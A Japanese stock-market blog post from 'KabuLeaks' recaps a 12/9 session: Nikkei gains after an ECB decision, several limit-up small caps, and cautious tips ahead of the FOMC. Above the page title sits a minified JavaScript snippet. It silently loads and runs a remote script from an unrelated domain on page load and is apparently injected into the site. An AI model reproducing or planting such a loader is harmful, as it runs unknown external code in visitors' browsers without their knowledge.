;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【12/9 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【12/9 大引け】

本日の日経平均は230円高と4日続伸。注目の集まったECBが金融緩和政策の延長を決定を受けて欧米株が上昇。これを受け日経平均も朝方から買いが先行、引き続き主力銘柄を中心に買い集め終日堅調な推移。一時大台の1万9000円台を回復し、ほぼ高値引けとなった。

個別では、前日スマホ向け新作ゲームを発表し、ストップ高となった【3851】日本一ソフトウェア、【3672】オルトプラスが連日のストップ高。また、第二のブランジスタとの期待が高い、秋元康氏らが資本参加するVR子会社を引き続き材料視の【3689】イグニスが再び大台の1万乗せのストップ高。週明けも期待、再度高値を伺う動きが期待できそうだ。

その他、直近続く小型株循環の流れでは本日は【6138】ダイジェット工業、【3237】イントランスが上昇。ZMP上場延期の原因となった顧客情報漏洩問題からセキュリティ関連に関心が高まり、【3356】テリロジー、【(3042)】セキュアヴェイルなども大幅高となった。

来週の日経平均は、過熱感は引き続き高いのが気になるが、トランプ政策期待からの米市場の上昇が止まらない限り引き続き日本株もこれに連れ高する展開も想定。

イベントではFOMCを控え、短期の値幅取りなどの買いを除いて新規買いは慎重に。安値で拾っているポジションの利益を引っ張りつつ、いつ相場が反転しても良いように少しずつ利益確定することも忘れずに。